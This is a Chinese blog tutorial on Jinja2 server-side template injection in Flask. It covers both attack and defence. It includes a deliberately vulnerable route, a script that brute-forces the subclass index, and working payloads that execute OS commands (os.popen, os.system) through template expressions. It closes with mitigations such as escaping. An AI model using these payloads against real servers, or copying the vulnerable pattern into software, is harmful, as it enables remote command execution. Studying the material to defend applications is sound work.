Python-Flask框架(四), jinja2模板注入

jinja2模板簡介

Jinja2 是一個現代的,設計者友好的,仿照 Django 模板的 Python 模板語言。 它速度快,被廣泛使用,並且提供了可選的沙箱模板執行環境保證安全;

官方文檔

何爲模板注入

模板引擎(SST)

模板引擎(這裏特指用於Web開發的模板引擎)是爲了使用戶界面與業務數據(內容)分離而產生的,它可以生成特定格式的文檔,用於網站的模板引擎就會生成一個標準的HTML文檔。

如果沒有SST,那python和html就是寫在一個文件裏,python代碼和html代碼混合coding這個,可想而知啊。。。

可是SST又是危險的,因爲SST十分相信用戶的輸入,並且執行這些內容,甚至是本機函數都可以執行。

模板注入(SSTI)

模板引擎通過使用代碼構造(如條件語句、循環等)處理上下文數據,允許在模板中使用強大的語言表達式,以呈現動態內容。如果使用模板時並沒用對用戶的輸入做任何處理或相信用戶的輸入,攻擊者則可通過模板引擎執行系統命令,這就會造成模板注入。模板注入是可以防範的,下面會從攻 與 防進行介紹。

如何進行模板注入

flask後端代碼

from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/')
def index():
    return '<h1>不在這裏,我的朋友</h1>'


@app.route('/flag/')
def flag():
    code = request.args.get('id')
    html = '''
    	hello, do you have id ? , %s
    ''' % code
    return render_template_string(html)

if __name__ == '__main__':
    app.run(host='0.0.0.0' , port='4321')

id=123
在這裏插入圖片描述
id={{ 2*2 }}
在這裏插入圖片描述
id={{ config }}
在這裏插入圖片描述
模板十分信任我的輸入,這樣就可以爲所欲爲了

XSS
在這裏插入圖片描述
SSTI
構造基本類
首先通過str、dict、tuple或list獲取python的基本類(當然也可以利用一些其他在jinja2中存在的對象,比如request):

''.__class__.__base__
[].__class__.__base__
().__class__.__base__
request.__class__.__base__

在這裏插入圖片描述
我們需要用到的是warnings.catch_warning所以遇到flask模板注入的時候,只要去找warnings.catch_warning即可
一般是在列表的第59個元素
或構造python腳本

import requests
url = "模板注入的url={{ [].__class__.__base__.__subclasses__()[%s] }}"
for i in range(200):
	url_all = url % i
	r = requests.get(url_all).text
	if 'warnings.catch_warning' in r:
		print(i, r)
		break

在這裏插入圖片描述
找到warnings.catch_warning就可以爲所欲爲了

{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen("ls /").read()}}

在這裏插入圖片描述

{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__["__builtins__"].__import__("os").system("ls /")}}

在這裏插入圖片描述
第二個payload其實也是成功執行了,但是隻會返回數字,那內容去哪裏的呢
![在這裏插入圖片描述](https://img-blog.csdnimg.cn/20191124190919776.png
在這裏插入圖片描述
一般會在flask後臺顯示
第二種其實調用的是python裏的

__import__('os').system('ls /')

在這裏插入圖片描述

如何防範模板注入

當需要讓用戶的輸入改變頁面內容時,就需要考慮,是否會造成模板注入。
兩不

  1. 不要讓"%s" 和 傻白甜render_template_string 單獨在一起
@app.route('/')
def index():
	id = request.args.get('id')
	html = '''hello, %s''' % id
	return render_template_string(html) # 可以進行SSTI
  1. 絕對不能直接對用戶的輸入使用safe過濾器

{{ user_input|safe }}

建議

  1. HTML轉義
    使用jinja2提供的escape()函數對用戶傳入的數據進行轉義
from jinja2 import escape

@app.route('/')
def index():
	id = request.args.get('id')
	html = '''hello, %s''' % escape(id)
	return render_template_string(html)
  1. 自定義過濾器,過濾用戶的輸入
# python flask後端腳本 
from flask import Markup

@app.template_filter()
def musical(s):
    return s + Markup(' &#9835')
.........
# html引用
{{ name|musical }}

結尾

歡迎各位老爺們點贊👍和評論,如果問題或者更優解,歡迎來評論
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章